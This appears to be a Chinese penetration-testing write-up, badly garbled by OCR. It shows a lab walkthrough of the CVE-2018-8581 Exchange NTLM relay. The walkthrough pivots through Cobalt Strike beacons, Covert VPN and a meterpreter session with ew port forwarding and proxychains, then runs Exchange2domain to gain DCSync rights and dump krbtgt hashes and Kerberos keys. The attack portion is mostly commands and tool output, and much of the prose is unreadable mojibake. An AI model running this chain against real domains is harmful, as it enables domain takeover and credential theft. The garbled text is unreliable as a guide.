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Event Log X | Beacon10.211.55.202@3088 X | Beacon 10.211.55.202@3588 X
beacon> shell ping 10.211.55.20

[*] Tasked beacon to run: ping 10.211.55.201

[+] host called home, sent: 49 bytes

[+] received output:

IEE Ping 10.211.55.201 BR%A 32 FTIHKRE:

kA& 10.211.55.201 MO E: F15=32 BJi@<1ms TTL=128
%8 10.211.55.201 NOE: F1H=32 BfE<1ms TTL=128
&8 10.211.55.201 NOK: FH=32 BJi@<1ms TTL=128
8 10.211.55.201 HDOKE: F1H=32 BfiE<1ms TTL=128

10.211.55.201 #9 Ping AAHER:

RER: BRE=4, E&K=4, EXR=00%EX).
[DOMAINWIN7] sanfeng/3088 last: 118ms
beacon>
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Known issues

ntlmrelayx and smbrelayx aren't working properly yet. They do some custom loading that Pylnstaller doesn't like. Still
working on that...
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Setup Interface

Start a network interface and listener for Covert VPN.
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When a CovertVPN client is deployed, you will have a
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2R, T& 1nterfaces HAJLABEINIR(ER:

Event Log X | Sites X | Interfaces X

interface channel port mac client tx %

phear5 Wb 60453 00:1C:42:DD... 116.77.73.252 0 182592

ZEHEA17E VPS EECELMOA:

sudo ifconfig Interface CIDR

example:

sudo ifconfig phear5 10.211.55.225/24

BIERY ip MU EBATAINMORERN ip teit, BESTFEEEmFHIEAT—8EMN

Za, MALSRMENRITEET .

XFARFER T — 1 Demo: https://www.youtube.com/embed/isy-Qjlykss

Tips: #& VPN RFEZZEBARAFNREIR. (B2RNERIAFPKSEEERRN.

0x02 4I{aRA# CVE 2018 8581
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BRI EAEFRT pesyne IR, AJER PowerView
Birap<$:

Remove-DomainObjectAcl -TargetIdentity "DC=cgdomain,DC=com” -PrincipalIldentity user -Rights DCSync

HRIEE CRISEIRARHTIZN

185 Exchage IR, ®JfEEA Fix-DomainObjectDACL.ps1
ISl SR

. .\Fix-DomainObjectDACL.psl -Fix

0x03 iH—E izt

ZIH—LZRARXS BRNRIERRFES, RIESSHAIRFEZFE— web IRSSAIF], LA, ATLMERERRO (E
impacket 1, HTTPRelayServer EiiAix[/9 80, Exchange2domain B3Z#FEENXimHA).

LR, bR BEE= ¥ smbrelay b 2IFEFAN—FA., IEsh7T—T B BEARFIBEAE.

HFFRIIFFE smb Server, FRLABEAEER (Remote NTLM relaying through meterpreter on Windows port 445) th
FMAYT 445 O TR, BIIRFER web inO3AHERIR], FIREN— meterpreter RFZf5, HINESH:

meterpreter > run post/multi/manage/autoroute

ZIEFFIE socksaa I,

msf5 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1. ..

meterpreter > run post/multi/manage/autoroute

[!] SESSION may not be compatible with this module.

[*] Running module against DOMAINWINZ

[*] Searching for subnets to autoroute.

[+] Route added to subnet 10.0.0.0/255.0.0.0 from host’s routing table.
meterpreter > background

[*] Backgrounding session

msf5 exploit(multi/script/ delivery) > search socks

Matching Modules
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Name Disclosure Date Rank Check Description

auxiliary/scanner/http/sockso_traversal 2012-03-14 normal Sockso Music Host Server 1.5 Directory Traversal
auxiliary/server/socks4a normal Socks4a Proxy Server

auxiliary/server/socks5 normal Sockss Proxy Server
auxiliary/server/socks_unc normal SOCKS Proxy UNC Path Redirection

msf5 exploit (mul

msf5 auxiliary(s

M, &I msf B9 portfud NEAKRRE, FAABRIEETHER o , 3, BEILUFER lox EEMELATE.
£ vps EFBER:

@ Jcx ./ew -s lcx_tran -1 8088 -f 127.0.0.1 -g 8044
7Rty 8088 uml[, FISEHE EAZ] 127.0.0.1 #Y 8044 im]

RIEERA VB PRAYEN LT

C:\Users\sanfeng\Desktop>ew_for_Win.exe -s lcx_tran -1 8044 -f 103.*.*.* -g 8088

WRIFAHD 8044 inOAVEUERE, FEEUEEAE) 103..* 49 8080 in[. Z=mTaEmE, BISRMENKIHRO-vpsit &R

=Exchange2domain& i

Zfa, £ vps LBELE proxychains, ubuntu _E proxychains BIERESHAEEIRI Jetc/proxychains.conf , SHURIBECESE, 0
™

[ProxyList]

#add proxy here ...
#meanwile

# defaults set to "tor"
socks4 127.0.0.1 1080

2fa, BAI#a—#47 Exchange2domain 7 :
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proxychains python Exchange2domain.py -ah proxyip -ap 8044 -u user -p password -d domain -th DCIP ExchangeIP --just-dc-user

4

TRRTROR EE—3, proxyip AENTETERAYENAY ip B,

AL, BANIEEIEN T

msf5 auxiliary( ® | ./ew -s lcx_tran -L 8088 -f 127.0.0.1 -g 8044
Llex_tran 0.0.0.0:8088 <--[10000 usec]--> 127.0.0.1:8044
--> (open)used/unused 1/999
<-- (close)used/unused 0/1000
--> (open)used/unused 1/999
<-- (close)used/unused 0/1000

[*] Setting up HTTP Server

[*] Relay servers started, waiting for connection....

[*] Using attacker URL: http://10.211.55.202:8044/privexchange/
|S-chain|-<>-127.0.0.1:1080-<><>-10.211.55.201:443-<><>-0K

[*] Exchange returned HTTP status 200 - authentication was OK

[+] API call was succ ul

[*] Waiting for Auth...

[*] HTTPD: Received connection from 127.0.0.1, attacking target Ldap://10.211.55.200
[*] HTTPD: Client requested path: /privexchange/

[*] HTTPD: Received connection from , attacking target ldap://10.211.55.200
[*] HTTPD: Client requested path: /privexchange/
|S-chain|-<>-127.0.0.1:1080-<><>-10.211.55.200:389-<><>-0K

[*] HTTPD: Client requested path: /privexchange/

[+] Authen ng st Lekyes /i, 2%0l4l

[*] Enumerating relayed user’s privileges.

[*] User privileges found: Create user

[*] User privileges found: Modifying domain ACL

[*] Querying domain security descriptor

LIRS anfeng now has Replication-Get-Ch privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
|S-chain|-<>-127.0.0.1:1080-<><>-10.211.55.200: 445-<><>-0K

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
|S-chain|-<>-127.0.0.1:1080-<><>-10.211.55.200:135-<><>-0K
|S-chain|-<>-127.0.0.1:1080-<><>-10.211.55.200:49155-<><>-0K

krbtgt :502:aad3b435b51404ecaad3b435b51404ee:de2010a17d9d936c1782da21446aadd4: : :

[*] Kerberos keys grabbed

krbtgt :aes256-cts-hmac-shal-96:2a9920affb923174c8d23186193b0f089585023b7f970fc0abbeb7000e7ec7b7
krbtgt:aes128-cts-hmac-shal-96:e7ef34a8b70fc4d06862453e781331e7

krbtgt :des-cbc-md5: 0e327c8c02d35e45

[*] Cleaning up...

|S-chain|-<>-127.0.0.1:1080-<><>-10.211.55.200: 445-<><>-0K

& cxchang omain [master] I

R EXHFEEEE,

0x04 =%

e Remote NTLM relaying through meterpreter on Windows port 445


https://evi1cg.me/usr/uploads/2019/15486518696316.jpg
https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

e impacket static binaries

e VPN Pivoting with Cobalt Strike
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